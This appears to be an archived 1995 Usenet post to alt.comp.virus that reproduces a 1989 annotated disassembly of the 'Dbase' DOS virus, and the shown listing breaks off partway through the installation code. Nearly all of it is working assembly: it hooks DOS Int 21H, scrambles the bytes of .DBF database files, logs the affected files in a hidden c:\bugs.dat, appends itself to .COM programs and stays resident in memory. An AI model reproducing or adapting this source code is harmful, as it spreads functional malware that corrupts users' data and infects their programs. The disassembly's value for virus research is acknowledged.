home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DBASE.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  23KB  |  1,064 lines

  1. From smtp Tue Feb  7 13:23 EST 1995
  2. Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue,  7 Feb 95 13:23 EST
  3. Received: by lynx.dac.neu.edu (8.6.9/8.6.9) 
  4.      id NAA26032 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:58 -0500
  5. Date: Tue, 7 Feb 1995 13:17:58 -0500
  6. From: lynx.dac.neu.edu!ekilby (Eric Kilby)
  7. Content-Length: 22976
  8. Content-Type: binary
  9. Message-Id: <199502071817.NAA26032@lynx.dac.neu.edu>
  10. To: pobox.jwu.edu!joshuaw 
  11. Subject: (fwd) DBase
  12. Newsgroups: alt.comp.virus
  13. Status: O
  14.  
  15. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
  16. From: danishm@iia.org ()
  17. Newsgroups: alt.comp.virus
  18. Subject: DBase
  19. Date: 5 Feb 1995 21:56:43 GMT
  20. Organization: International Internet Association.
  21. Lines: 1031
  22. Message-ID: <3h3hir$sb@ankh.iia.org>
  23. NNTP-Posting-Host: iia.org
  24. X-Newsreader: TIN [version 1.2 PL2]
  25.  
  26. Here is the DBase virus:
  27.  
  28.     page    65,132
  29.     title    The 'Dbase' Virus
  30. ; ╔══════════════════════════════════════════════════════════════════════════╗
  31. ; ║                 British Computer Virus Research Centre                   ║
  32. ; ║  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    ║
  33. ; ║  Telephone:     Domestic   0273-26105,   International  +44-273-26105    ║
  34. ; ║                                                                          ║
  35. ; ║                           The 'Dbase' Virus                              ║
  36. ; ║                Disassembled by Joe Hirst,      October 1989              ║
  37. ; ║                                                                          ║
  38. ; ║                      Copyright (c) Joe Hirst 1989.                       ║
  39. ; ║                                                                          ║
  40. ; ║      This listing is only to be made available to virus researchers      ║
  41. ; ║                or software writers on a need-to-know basis.              ║
  42. ; ╚══════════════════════════════════════════════════════════════════════════╝
  43.  
  44. MCB    SEGMENT AT 0
  45.  
  46. IDENT    DB    ?
  47. OWNER    DW    ?
  48. MEMSIZE    DW    ?
  49.  
  50. MCB    ENDS
  51.  
  52. CODE    SEGMENT BYTE PUBLIC 'CODE'
  53.  
  54.     ASSUME    CS:CODE,DS:NOTHING
  55.  
  56.     ; Interrupt 21H routine
  57.  
  58. BP0000:    PUSHF
  59.     CMP    AX,0FB0AH        ; Infection test function?
  60.     JNE    BP0010            ; Branch if not
  61.     XCHG    AH,AL            ; Swap bytes
  62.     POPF
  63.     IRET
  64.  
  65.     ; Branch to open file function
  66.  
  67. BP000A:    JMP    BP06DB
  68.  
  69.     ; Branch to new file functions
  70.  
  71. BP000D:    JMP    BP0391
  72.  
  73. BP0010:    CMP    DI,0FB0AH        ; Allow free passage?
  74.     JE    BP0044            ; Branch if yes
  75.     CMP    AX,4B00H        ; Load and execute function?
  76.     JNE    BP001E            ; Branch if not
  77.     JMP    BP0490
  78.  
  79. BP001E:    CMP    AH,6CH            ; Extended open/create function?
  80.     JE    BP000D            ; Branch if yes
  81.     CMP    AH,5BH            ; Create new file function?
  82.     JE    BP000D            ; Branch if yes
  83.     CMP    AH,3CH            ; Create handle function?
  84.     JE    BP000D            ; Branch if yes
  85.     CMP    AH,3DH            ; Open handle function?
  86.     JE    BP000A            ; Branch if yes
  87.     CMP    AH,3FH            ; Read handle function?
  88.     JE    BP004A            ; Branch if yes
  89.     CMP    AH,40H            ; Write handle function?
  90.     JE    BP004D            ; Branch if yes
  91.     CMP    AH,3EH            ; Close handle function?
  92.     JNE    BP0044            ; Branch if not
  93.     JMP    BP0340
  94.  
  95.     ; Pass on to Int 21H
  96.  
  97. BP0044:    POPF
  98.     DB    0EAH            ; Far jump
  99. DW0046    DW    0            ; Int 21H offset
  100. DW0048    DW    0            ; Int 21H segment
  101.  
  102.     ; Branch to read file function
  103.  
  104. BP004A:    JMP    BP00C8
  105.  
  106.     ; Branch to write file function
  107.  
  108. BP004D:    JMP    BP015F
  109.  
  110.     JMP    BP04A7
  111.  
  112. DB0053    DB    'c:\bugs.dat', 0    ; File pathname
  113.     DB    4EH DUP (0), 0FFH    ; Read buffer
  114. DW00AE    DW    0
  115. DB00B0    DB    14H DUP (0)        ; Table of file handles
  116. DW00C4    DW    0, 0
  117.  
  118.     ; Read file function
  119.  
  120. BP00C8:    PUSH    DI
  121.     CALL    BP00CC            ; \ Get current address
  122. BP00CC:    POP    DI            ; /
  123.     SUB    DI,1CH            ; Address table of file handles
  124. BP00D0:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  125.     JE    BP00DE            ; Branch if yes
  126.     CMP    CS:[DI],BL        ; Is this the file handle
  127.     JE    BP00E2            ; Branch if yes
  128.     INC    DI            ; Next entry
  129.     JMP    BP00D0
  130.  
  131. BP00DE:    POP    DI
  132.     JMP    BP0044            ; Pass on to Int 21H
  133.  
  134. BP00E2:    POP    DI
  135.     POPF
  136.     PUSH    CX
  137.     PUSH    AX
  138.     PUSH    DX
  139.     MOV    AX,4201H        ; Move file pointer (current) function
  140.     XOR    CX,CX            ; \ No offset
  141.     XOR    DX,DX            ; /
  142.     INT    21H            ; DOS service
  143.     TEST    AX,1            ; Is location odd number byte?
  144.     JZ    BP012A            ; Branch if not
  145.     MOV    AX,4201H        ; Move file pointer (current) function
  146.     MOV    CX,-1            ; \ Back one byte
  147.     MOV    DX,CX            ; /
  148.     INT    21H            ; DOS service
  149.     MOV    AH,3FH            ; Read handle function
  150.     MOV    CX,1            ; Length to read
  151.     POP    DX
  152.     CALL    BP05C3            ; DOS service
  153.     POP    AX
  154.     POP    CX
  155.     PUSH    SI
  156.     PUSH    BP
  157.     MOV    SI,DX
  158.     MOV    BP,[SI]
  159.     CALL    BP05C3            ; DOS service
  160.     PUSHF
  161.     PUSH    AX
  162.     MOV    AX,BP
  163.     MOV    [SI],AL
  164.     POP    AX
  165.     POP    BP
  166.     POP    SI
  167.     PUSH    CX
  168.     PUSH    DX
  169.     MOV    CX,AX
  170.     DEC    CX
  171.     INC    DX
  172.     CALL    BP022D            ; Reverse bytes in each word
  173.     POP    DX
  174.     POP    CX
  175.     JMP    BP0138
  176.  
  177. BP012A:    POP    DX
  178.     POP    AX
  179.     POP    CX
  180.     CALL    BP05C3            ; DOS service
  181.     PUSHF
  182.     PUSH    CX
  183.     MOV    CX,AX
  184.     CALL    BP022D            ; Reverse bytes in each word
  185.     POP    CX
  186. BP0138:    PUSH    CX
  187.     PUSH    AX
  188.     PUSH    DX
  189.     MOV    AX,4201H        ; Move file pointer (current) function
  190.     XOR    CX,CX            ; \ No offset
  191.     XOR    DX,DX            ; /
  192.     INT    21H            ; DOS service
  193.     TEST    AX,1            ; Is location odd number byte?
  194.     JZ    BP0158            ; Branch if not
  195.     POP    DX
  196.     POP    AX
  197.     PUSH    AX
  198.     PUSH    DX
  199.     ADD    DX,AX
  200.     DEC    DX
  201.     MOV    CX,1            ; Length to read
  202.     MOV    AH,3FH            ; Read handle function
  203.     CALL    BP05C3            ; DOS service
  204. BP0158:    POP    DX
  205.     POP    AX
  206.     POP    CX
  207.     POPF
  208.     RETF    2
  209.  
  210.     ; Write file function
  211.  
  212. BP015F:    PUSH    DI
  213.     CALL    BP0163            ; \ Get current address
  214. BP0163:    POP    DI            ; /
  215.     SUB    DI,OFFSET BP0163-DB00B0    ; Address table of file handles
  216. BP0168:    CMP    BYTE PTR CS:[DI],0    ; End of table?
  217.     JE    BP0176            ; Branch if yes
  218.     CMP    CS:[DI],BL        ; Is this the file handle
  219.     JE    BP017A            ; Branch if yes
  220.     INC    DI            ; Next entry
  221.     JMP    BP0168
  222.  
  223. BP0176:    POP    DI
  224.     JMP    BP0044            ; Pass on to Int 21H
  225.  
  226. BP017A:    CALL    BP017D            ; \ Get current address
  227. BP017D:    POP    DI            ; /
  228.     SUB    DI,OFFSET BP017D-DW00C4
  229.     MOV    WORD PTR CS:[DI],0
  230.     MOV    WORD PTR CS:[DI+2],0
  231.     PUSH    AX
  232.     PUSH    BX
  233.     PUSH    CX
  234.     PUSH    DX
  235.     MOV    AX,4201H        ; Move file pointer (current) function
  236.     XOR    CX,CX            ; \ No offset
  237.     XOR    DX,DX            ; /
  238.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  239.     INT    21H            ; DOS service
  240.     TEST    AX,1            ; Is location odd number byte?
  241.     JNZ    BP01C0            ; Branch if yes
  242.     POP    DX
  243.     POP    CX
  244.     TEST    AX,1            ; Is location odd number byte?
  245.     JNZ    BP01B2            ; Branch if yes (???)
  246.     MOV    AX,0
  247.     CALL    BP0200
  248.     JMP    BP01E9
  249.  
  250. BP01B2:    MOV    AX,1
  251.     CALL    BP0200
  252.     JB    BP01E9
  253.     CALL    BP02B9
  254.     JMP    BP01E9
  255.  
  256. BP01C0:    POP    DX
  257.     POP    CX
  258.     TEST    CX,1
  259.     JZ    BP01D6
  260.     CALL    BP0262
  261.     JB    BP01E9
  262.     MOV    AX,0100H
  263.     CALL    BP0200
  264.     JMP    BP01E9
  265.  
  266. BP01D6:    CALL    BP0262
  267.     JB    BP01E9
  268.     MOV    AX,0101H
  269.     CALL    BP0200
  270.     JB    BP01E9
  271.     CALL    BP02B9
  272.     JMP    BP01E9
  273.  
  274. BP01E9:    POP    BX
  275.     POP    AX
  276.     POP    DI
  277.     CALL    BP01EF            ; \ Get current address
  278. BP01EF:    POP    SI            ; /
  279.     SUB    SI,OFFSET BP01EF-DW00C4
  280.     PUSH    CS:[SI+2]
  281.     POPF
  282.     MOV    AX,CS:[SI]
  283.     POP    SI
  284.     RETF    2
  285.  
  286. BP0200:    CMP    CX,1
  287.     JNE    BP0209
  288.     CALL    BP0242
  289.     RET
  290.  
  291. BP0209:    CALL    BP0215
  292.     CALL    BP0242
  293.     PUSHF
  294.     CALL    BP0215
  295.     POPF
  296.     RET
  297.  
  298. BP0215:    PUSH    CX
  299.     PUSH    DX
  300.     CALL    BP0220
  301.     CALL    BP022D            ; Reverse bytes in each word
  302.     POP    DX
  303.     POP    CX
  304.     RET
  305.  
  306. BP0220:    CMP    AH,1
  307.     JNE    BP0227
  308.     INC    DX
  309.     DEC    CX
  310. BP0227:    CMP    AL,1
  311.     JNE    BP022C
  312.     DEC    CX
  313. BP022C:    RET
  314.  
  315.     ; Reverse bytes in each word
  316.  
  317. BP022D:    PUSH    SI
  318.     PUSH    CX
  319.     PUSH    AX
  320.     MOV    SI,DX
  321.     SHR    CX,1            ; Divide count by two
  322. BP0234:    MOV    AX,[SI]            ; Get next word
  323.     XCHG    AH,AL            ; Reverse bytes in word
  324.     MOV    [SI],AX            ; Replace word
  325.     INC    SI            ; \ Next word
  326.     INC    SI            ; /
  327.     LOOP    BP0234            ; Repeat for count
  328.     POP    AX
  329.     POP    CX
  330.     POP    SI
  331.     RET
  332.  
  333. BP0242:    PUSH    AX
  334.     PUSH    CX
  335.     PUSH    DX
  336.     PUSH    DI
  337.     CALL    BP0220
  338.     MOV    AH,40H            ; Write handle function
  339.     INT    21H            ; DOS service
  340.     PUSHF
  341.     CALL    BP0251            ; \ Get current address
  342. BP0251:    POP    DI            ; /
  343.     SUB    DI,OFFSET BP0251-DW00C4
  344.     POP    CS:[DI+2]
  345.     ADD    CS:[DI],AX
  346.     POP    DI
  347.     POP    DX
  348.     POP    CX
  349.     POP    AX
  350.     RET
  351.  
  352. BP0262:    PUSH    AX
  353.     PUSH    CX
  354.     PUSH    DX
  355.     PUSH    SI
  356.     PUSH    BP
  357.     MOV    DX,-1            ; \ Back one byte
  358.     MOV    CX,DX            ; /
  359.     MOV    AX,4201H        ; Move file pointer (current) function
  360.     INT    21H            ; DOS service
  361.     MOV    AH,3FH            ; Read handle function
  362.     MOV    CX,1            ; Length to read
  363.     MOV    SI,DX
  364.     MOV    BP,[SI]
  365.     INT    21H            ; DOS service
  366.     JB    BP02A3            ; Branch if error
  367.     MOV    DX,-1            ; \ Back one byte
  368.     MOV    CX,DX            ; /
  369.     MOV    AX,4201H        ; Move file pointer (current) function
  370.     INT    21H            ; DOS service
  371.     XCHG    BP,[SI]
  372.     MOV    CX,1            ; Length to write
  373.     MOV    AH,40H            ; Write handle function
  374.     INT    21H            ; DOS service
  375.     JB    BP02A3            ; Branch if error
  376.     XCHG    BP,[SI]
  377.     MOV    CX,1            ; Length to write
  378.     MOV    AH,40H            ; Write handle function
  379.     INT    21H            ; DOS service
  380.     JB    BP02A3            ; Branch if error
  381.     XCHG    BP,[SI]
  382.     MOV    AX,1
  383. BP02A3:    PUSHF
  384.     CALL    BP02A7            ; \ Get current address
  385. BP02A7:    POP    SI            ; /
  386.     SUB    SI,OFFSET BP02A7-DW00C4
  387.     POP    CS:[SI+2]
  388.     MOV    CS:[SI],AX
  389.     POP    BP
  390.     POP    SI
  391.     POP    DX
  392.     POP    CX
  393.     POP    AX
  394.     RET
  395.  
  396. BP02B9:    PUSH    AX
  397.     PUSH    CX
  398.     PUSH    DX
  399.     PUSH    SI
  400.     PUSH    BP
  401.     MOV    SI,DX
  402.     ADD    SI,CX
  403.     DEC    SI
  404.     MOV    DX,1            ; \ Forward one byte
  405.     XOR    CX,CX            ; /
  406.     MOV    AX,4201H        ; Move file pointer (current) function
  407.     INT    21H            ; DOS service
  408.     MOV    AH,3FH            ; Read handle function
  409.     MOV    CX,1            ; Read one byte
  410.     MOV    BP,[SI]
  411.     INT    21H            ; DOS service
  412.     JB    BP02E0            ; Branch if error
  413.     CMP    AX,1            ; One byte read?
  414.     JNE    BP02E0            ; Branch if not
  415.     JMP    BP02F6
  416.  
  417. BP02E0:    MOV    CX,-1            ; \ Back one byte
  418.     MOV    DX,CX            ; /
  419.     MOV    AX,4201H        ; Move file pointer (current) function
  420.     INT    21H            ; DOS service
  421.     MOV    DX,SI
  422.     MOV    CX,1            ; Length to write
  423.     MOV    AH,40H            ; Write handle function
  424.     INT    21H            ; DOS service
  425.     JMP    BP032A
  426.  
  427. BP02F6:    MOV    DX,-2            ; \ Back two byte
  428.     MOV    CX,-1            ; /
  429.     MOV    AX,4201H        ; Move file pointer (current) function
  430.     INT    21H            ; DOS service
  431.     XCHG    BP,[SI]
  432.     MOV    CX,1            ; Length to write
  433.     MOV    AH,40H            ; Write handle function
  434.     MOV    DX,SI
  435.     INT    21H            ; DOS service
  436.     JB    BP032A            ; Branch if error
  437.     XCHG    BP,[SI]
  438.     MOV    CX,1            ; Length to write
  439.     MOV    AH,40H            ; Write handle function
  440.     MOV    DX,SI
  441.     INT    21H            ; DOS service
  442.     JB    BP032A            ; Branch if error
  443.     XCHG    BP,[SI]
  444.     MOV    DX,-1            ; \ Back one byte
  445.     MOV    CX,DX            ; /
  446.     MOV    AX,4201H        ; Move file pointer (current) function
  447.     INT    21H            ; DOS service
  448.     MOV    AX,1
  449. BP032A:    PUSHF
  450.     CALL    BP032E            ; \ Get current address
  451. BP032E:    POP    SI            ; /
  452.     SUB    SI,OFFSET BP032E-DW00C4
  453.     POP    CS:[SI+2]
  454.     ADD    CS:[SI],AX
  455.     POP    BP
  456.     POP    SI
  457.     POP    DX
  458.     POP    CX
  459.     POP    AX
  460.     RET
  461.  
  462. BP0340:    PUSH    BP
  463.     PUSH    CX
  464.     CALL    BP0345            ; \ Get current address
  465. BP0345:    POP    BP            ; /
  466.     SUB    BP,OFFSET BP0345-DW00AE
  467.     MOV    CX,CS:[BP+0]
  468.     CMP    CX,0
  469.     JE    BP037C
  470.     ADD    BP,2
  471. BP0356:    CMP    CS:[BP+0],BL
  472.     JE    BP0362
  473.     INC    BP
  474.     LOOP    BP0356
  475.     JMP    BP037C
  476.  
  477. BP0362:    MOV    CL,CS:[BP+1]
  478.     MOV    CS:[BP+0],CL
  479.     INC    BP
  480.     CMP    CL,0
  481.     JNE    BP0362
  482.     CALL    BP0373            ; \ Get current address
  483. BP0373:    POP    BP            ; /
  484.     SUB    BP,OFFSET BP0373-DW00AE
  485.     DEC    WORD PTR CS:[BP+0]
  486. BP037C:    POP    CX
  487.     POP    BP
  488.     JMP    BP0044            ; Pass on to Int 21H
  489.  
  490. BP0381:    JMP    BP04A7
  491.  
  492.     JMP    BP0044            ; Pass on to Int 21H
  493.  
  494. DW0387    DW    0            ; File date
  495. DW0389    DW    0            ; File time
  496. DW038B    DW    0            ; File attributes
  497. DW038D    DW    0            ; Pathname segment
  498. DW038F    DW    0            ; Pathname offset
  499.  
  500.     ; New file functions
  501.  
  502. BP0391:    PUSH    SI
  503.     PUSH    BP
  504.     CMP    AH,6CH            ; Extended open/create function?
  505.     JE    BP039A            ; Branch if yes
  506.     MOV    SI,DX            ; Copy filepath pointer
  507. BP039A:    MOV    BP,SI            ; Copy filepath pointer
  508.     CALL    BP0453            ; Convert pathname to uppercase
  509.     CALL    BP0468            ; Test for Dbase file
  510.     JNE    BP0381            ; Branch if not
  511.     PUSH    DX
  512.     MOV    DX,SI            ; Copy pathname (for function 6CH)
  513.     CALL    BP0665            ; Search BUG.DAT file for pathname
  514.     POP    DX
  515.     JB    BP0415            ; Branch if found
  516.     PUSH    ES
  517.     PUSH    DS
  518.     PUSH    DX
  519.     PUSH    SI
  520.     PUSH    DI
  521.     PUSH    CX
  522.     PUSH    BX
  523.     PUSH    AX
  524.     CALL    BP03B8            ; \ Get current address
  525. BP03B8:    POP    DX            ; /
  526.     SUB    DX,OFFSET BP03B8-DB0053    ; Address 'BUGS.DAT' pathname
  527.     PUSH    BP
  528.     MOV    BP,DS            ; \ Set ES to DS
  529.     MOV    ES,BP            ; /
  530.     POP    BP
  531.     PUSH    CS            ; \ Set DS to CS
  532.     POP    DS            ; /
  533.     MOV    AX,3D02H        ; Open handle (R/W) function
  534.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  535.     INT    21H            ; DOS service
  536.     JNB    BP03D8            ; Branch if no error
  537.     MOV    AH,3CH            ; Create handle function
  538.     MOV    CX,2            ; Hidden file
  539.     INT    21H            ; DOS service
  540.     JB    BP0448            ; Branch if error
  541. BP03D8:    MOV    BX,AX            ; Move handle
  542.     CALL    BP06F7            ; Is file out of time?
  543.     XOR    DX,DX            ; \ No offset
  544.     XOR    CX,CX            ; /
  545.     MOV    AX,4202H        ; Move file pointer (EOF) function
  546.     INT    21H            ; DOS service
  547.     MOV    DX,BP
  548.     MOV    DI,DX
  549.     MOV    BP,ES            ; \ Set DS to ES
  550.     MOV    DS,BP            ; /
  551.     MOV    CX,004EH        ; Length to write
  552.     MOV    AH,40H            ; Write handle function
  553.     MOV    DI,0FB0AH        ; Allow free passage to DOS
  554.     INT    21H            ; DOS service
  555.     CALL    BP03FB            ; \ Get current address
  556. BP03FB:    POP    SI            ; /
  557.     SUB    SI,74H            ; Address file date
  558.     MOV    DX,CS:[SI]        ; Get file date
  559.     MOV    AX,5701H        ; Set file date & time function
  560.     INT    21H            ; DOS service
  561.     MOV    AH,3EH            ; Close handle function
  562.     INT    21H            ; DOS service
  563.     JB    BP0448            ; Branch if error
  564.     POP    AX
  565.     POP    BX
  566.     POP    CX
  567.     POP    DI
  568.     POP    SI
  569.     POP    DX
  570.     POP    DS
  571.     POP    ES
  572. BP0415:    POP    BP
  573.     POP    SI
  574.     POPF
  575.     CALL    BP05C3            ; DOS service
  576.     JB    BP0420            ; Branch if error
  577.     CALL    BP0423
  578. BP0420:    RETF    2
  579.  
  580. BP0423:    PUSHF
  581.     PUSH    SI
  582.     CALL    BP0428            ; \ Get current address
  583. BP0428:    POP    SI            ; /
  584.     SUB    SI,OFFSET BP0428-DW00AE
  585.     CMP    WORD PTR CS:[SI],14H
  586.     JE    BP0447
  587.     INC    WORD PTR CS:[SI]
  588.     PUSH    BX
  589.     MOV    BX,SI
  590.     ADD    BX,CS:[SI]
  591.     ADD    BX,CS:[SI]
  592.     MOV    SI,BX
  593.     POP    BX
  594.     MOV    CS:[SI],AL
  595.     POP    SI
  596.     POPF
  597. BP0447:    RET
  598.  
  599. BP0448:    POP    AX
  600.     POP    BX
  601.     POP    CX
  602.     POP    DI
  603.     POP    SI
  604.     POP    DX
  605.     POP    DS
  606.     POP    ES
  607.     JMP    BP04A7
  608.  
  609.     ; Convert pathname to uppercase
  610.  
  611. BP0453:    PUSH    SI
  612.     MOV    SI,DX            ; Copy pathname pointer
  613. BP0456:    CMP    BYTE PTR [SI],0        ; End of pathname?
  614.     JE    BP0466            ; Branch if yes
  615.     CMP    BYTE PTR [SI],'a'    ; Lowercase character?
  616.     JB    BP0463            ; Branch if not
  617.     SUB    BYTE PTR [SI],' '    ; Convert to uppercase
  618. BP0463:    INC    SI            ; Next character
  619.     JMP    BP0456            ; Process next character
  620.  
  621. BP0466:    POP    SI
  622.     RET
  623.  
  624.     ; Test for Dbase file
  625.  
  626. BP0468:    CALL    BP0453            ; Convert pathname to uppercase
  627.     PUSH    SI
  628. BP046C:    CMP    BYTE PTR [SI],0        ; End of pathname?
  629.     JE    BP0480            ; Branch if yes
  630.     CMP    BYTE PTR [SI],'.'    ; Extension character?
  631.     JE    BP0479            ; Branch if yes
  632.     INC    SI            ; Next character
  633.     JMP    BP046C            ; Process next character
  634.  
  635. BP0479:    INC    SI            ; Next character
  636.     CMP    WORD PTR [SI],'BD'    ; Database file (1)?
  637.     JNE    BP0484            ; Branch if not
  638. BP0480:    CMP    BYTE PTR [SI+2],'F'    ; Database file (2)?
  639. BP0484:    POP    SI
  640.     RET
  641.  
  642. DB0486    DB    0CDH, 20H, 90H, 90H    ; Start of host read buffer
  643. DB048A    DB    0, 0            ; Signature read buffer
  644. DB048C    DB    0E9H, 0, 0        ; Initial jump instruction
  645.     DB    0
  646.  
  647.     ; Load and execute function
  648.  
  649. BP0490:    PUSH    BP
  650.     PUSH    SI
  651.     MOV    SI,DX            ; Copy pathname pointer
  652. BP0494:    CMP    BYTE PTR [SI],0        ; End of pathname?
  653.     JE    BP04A7            ; Branch if yes
  654.     CMP    BYTE PTR [SI],'.'    ; Extension indicator?
  655.     JE    BP04AC            ; Branch if yes
  656.     INC    SI            ; Next character
  657.     JMP    BP0494            ; Process next character
  658.  
  659. BP04A1:    POP    DS
  660.     POP    DX
  661.     POP    DI
  662.     POP    CX
  663.     POP    BX
  664.     POP    AX
  665. BP04A7:    POP    BP
  666.     POP    SI
  667.     JMP    BP0044            ; Pass on to Int 21H
  668.  
  669. BP04AC:    INC    SI            ; Next character
  670.     CMP    WORD PTR [SI],'OC'    ; Is it a COM file? (1)
  671.     JNE    BP04A7            ; Branch if not
  672.     CMP    BYTE PTR [SI+2],'M'    ; Is it a COM file? (1)
  673.     JNE    BP04A7            ; Branch if not
  674.     PUSH    AX
  675.     PUSH    BX
  676.     PUSH    CX
  677.     PUSH    DI
  678.     PUSH    DX
  679.     PUSH    DS
  680.     PUSH    SI
  681.     PUSH    CX
  682.     MOV    AX,4300H        ; Get file attributes function
  683.     INT    21H            ; DOS service
  684.     CALL    BP04C9            ; \ Get current address
  685. BP04C9:    POP    SI            ; /
  686.     SUB    SI,OFFSET BP04C9-DW038B    ; Address file attributes
  687.     MOV    CS:[SI],CX        ; Save file attributes
  688.     MOV    CS:[SI+2],DS        ; Save pathname segment
  689.     MOV    CS:[SI+4],DX        ; Save pathname offset
  690.     AND    CX,00FEH        ; Switch off read only
  691.     MOV    AX,4301H        ; Set file attributes function
  692.     INT    21H            ; DOS service
  693.     POP    CX
  694.     POP    SI
  695.     MOV    AX,3D00H        ; Open handle (read) function
  696.     INT    21H            ; DOS service
  697.     JB    BP04A1            ; Branch if error
  698.     MOV    BX,AX            ; Move handle
  699.     MOV    AX,5700H        ; Get file date & time function
  700.     INT    21H            ; DOS service
  701.     PUSH    SI
  702.     CALL    BP04F6            ; \ Get current address
  703. BP04F6:    POP    SI            ; /
  704.     SUB    SI,OFFSET BP04F6-DW0387    ; Address file date
  705.     MOV    CS:[SI],DX        ; Save file date
  706.     MOV    CS:[SI+2],CX        ; Save file time
  707.     POP    SI
  708.     MOV    AH,3FH            ; Read handle function
  709.     MOV    CX,4            ; Length to read
  710.     CALL    BP050B            ; \ Get current address
  711. BP050B:    POP    SI            ; /
  712.     SUB    SI,OFFSET BP050B    ; Offset of start of virus
  713.     MOV    DX,SI            ; \ Address start of host read buffer
  714.     ADD    DX,OFFSET DB0486    ; /
  715.     PUSH    CS            ; \ Set DS to CS
  716.     POP    DS            ; /
  717.     INT    21H            ; DOS service
  718.     JB    BP058A            ; Branch if error
  719.     PUSH    DX
  720.     PUSH    SI
  721.     MOV    SI,DX            ; Address start of host read buffer
  722.     MOV    DX,[SI+1]        ; Get branch offset (if its a branch?)
  723.     INC    DX            ; \ Address to signature (DB0630)
  724.     XOR    CX,CX            ; /
  725.     MOV    AX,4200H        ; Move file pointer (start) function
  726.     INT    21H            ; DOS service
  727.     POP    SI
  728.     POP    DX
  729.     JB    BP058A            ; Branch if error
  730.     MOV    AH,3FH            ; Read handle function
  731.     MOV    CX,2            ; Length to read
  732.     ADD    DX,4            ; Address to signature read buffer
  733.     INT    21H            ; DOS service
  734.     PUSH    SI
  735.     MOV    SI,DX            ; \ Copy signature read buffer address
  736.     MOV    DI,SI            ; /
  737.     CMP    WORD PTR [SI],0E5E5H    ; Test signature
  738.     POP    SI
  739.     JE    BP058A            ; Branch if infected
  740.     MOV    AH,3EH            ; Close handle function
  741.     INT    21H            ; DOS service
  742.     POP    DS
  743.     POP    DX
  744.     PUSH    DX
  745.     PUSH    DS
  746.     MOV    AX,3D02H        ; Open handle (R/W) function
  747.     INT    21H            ; DOS service
  748.     JNB    BP0557            ; Branch if no error
  749.     JMP    BP04A1
  750.  
  751. BP0557:    PUSH    CS            ; \ Set DS to CS
  752.     POP    DS            ; /
  753.     MOV    BX,AX            ; Move handle
  754.     MOV    AX,4202H        ; Move file pointer (EOF) function
  755.     XOR    CX,CX            ; \ No offset
  756.     XOR    DX,DX            ; /
  757.     INT    21H            ; DOS service
  758.     ADD    AX,OFFSET START-3    ; Add entry point offset
  759.     NOP
  760.     MOV    [DI+3],AX        ; Store in initial jump instruction
  761.     XOR    DX,DX            ; Address start of virus
  762.     MOV    AH,40H            ; Write handle function
  763.     MOV    CX,OFFSET ENDADR    ; Length of virus
  764.     NOP
  765.     INT    21H            ; DOS service
  766.     MOV    AX,4200H        ; Move file pointer (start) function
  767.     XOR    CX,CX            ; \ No offset
  768.     XOR    DX,DX            ; /
  769.     INT    21H            ; DOS service
  770.     MOV    DX,DI            ; \ Address initial jump instruction
  771.     ADD    DX,2            ; /
  772.     MOV    CX,3            ; Length of jump instruction
  773.     MOV    AH,40H            ; Write handle function
  774.     INT    21H            ; DOS service
  775. BP058A:    PUSH    SI
  776.     CALL    BP058E            ; \ Get current address
  777. BP058E:    POP    SI            ; /
  778.     SUB    SI,OFFSET BP058E-DW0387    ; Address file date
  779.     MOV    DX,CS:[SI]        ; Get file date
  780.     MOV    CX,CS:[SI+2]        ; Get file time
  781.     POP    SI
  782.     MOV    AX,5701H        ; Set file date & time function
  783.     INT    21H            ; DOS service
  784.     MOV    AH,3EH            ; Close handle function
  785.     INT    21H            ; DOS service
  786.     PUSH    SI
  787.     PUSH    CX
  788.     CALL    BP05A9            ; \ Get current address
  789. BP05A9:    POP    SI            ; /
  790.     SUB    SI,OFFSET BP05A9-DW038B    ; Address file attributes
  791.     MOV    CX,CS:[SI]        ; Get file attributes
  792.     MOV    DS,CS:[SI+2]        ; Get pathname offset
  793.     MOV    DX,CS:[SI+4]        ; Get pathname segment
  794.     MOV    AX,4301H        ; Set file attributes function
  795.     INT    21H            ; DOS service
  796.     POP    CX
  797.     POP    SI
  798.     JMP    BP04A1
  799.  
  800.     ; Call DOS service
  801.  
  802. BP05C3:    PUSHF
  803.     DB    9AH            ; Far call
  804. DW05C5    DW    0            ; Int 21H offset
  805. DW05C7    DW    0            ; Int 21H segment
  806.     RET
  807.  
  808.     ; Infect system
  809.  
  810. BP05CA:    PUSH    SI
  811.     CALL    BP05CE            ; \ Get current address
  812. BP05CE:    POP    SI            ; /
  813.     SUB    SI,OFFSET BP05CE    ; Relocate from start of virus
  814.     PUSH    AX
  815.     PUSH    BX
  816.     PUSH    CX
  817.     PUSH    DX
  818.     PUSH    DI
  819.     PUSH    DS
  820.     PUSH    ES
  821.     MOV    AX,3521H        ; Get Int 21H function
  822.     INT    21H            ; DOS service
  823.     MOV    CS:[SI+46H],BX        ; \ Install vector in jump
  824.     MOV    CS:[SI+48H],ES        ; /
  825.     MOV    CS:DW05C5[SI],BX    ; \ Install vector in call
  826.     MOV    CS:DW05C7[SI],ES    ; /
  827.     PUSH    CS            ; \ Get current segment
  828.     POP    AX            ; /
  829.     DEC    AX            ; \ Address MCB
  830.     MOV    DS,AX            ; /
  831.     ASSUME    DS:MCB
  832.     MOV    DX,MEMSIZE        ; Get memory block length
  833.     SUB    DX,0074H        ; \ Subtract virus length
  834.     nop
  835.     DEC    DX            ; /
  836.     MOV    MEMSIZE,DX        ; Replace new length
  837.     ASSUME    DS:NOTHING
  838.     PUSH    CS            ; \ Get current segment
  839.     POP    AX            ; /
  840.     ADD    DX,AX            ; \ Address free space
  841.     MOV    DS,DX            ; /
  842.     MOV    DI,0            ; Start of free space
  843.     MOV    CX,OFFSET ENDADR        ; Length of virus
  844.     NOP
  845.     CLI
  846.     PUSH    SI
  847. BP0612:    MOV    AL,CS:[SI]
  848.     MOV    [DI],AL
  849.     INC    SI
  850.     INC    DI
  851.     LOOP    BP0612
  852.     POP    SI
  853.     MOV    DS,DX
  854.     MOV    DX,OFFSET BP0000
  855.     MOV    AX,2521H        ; Set Int 21H function
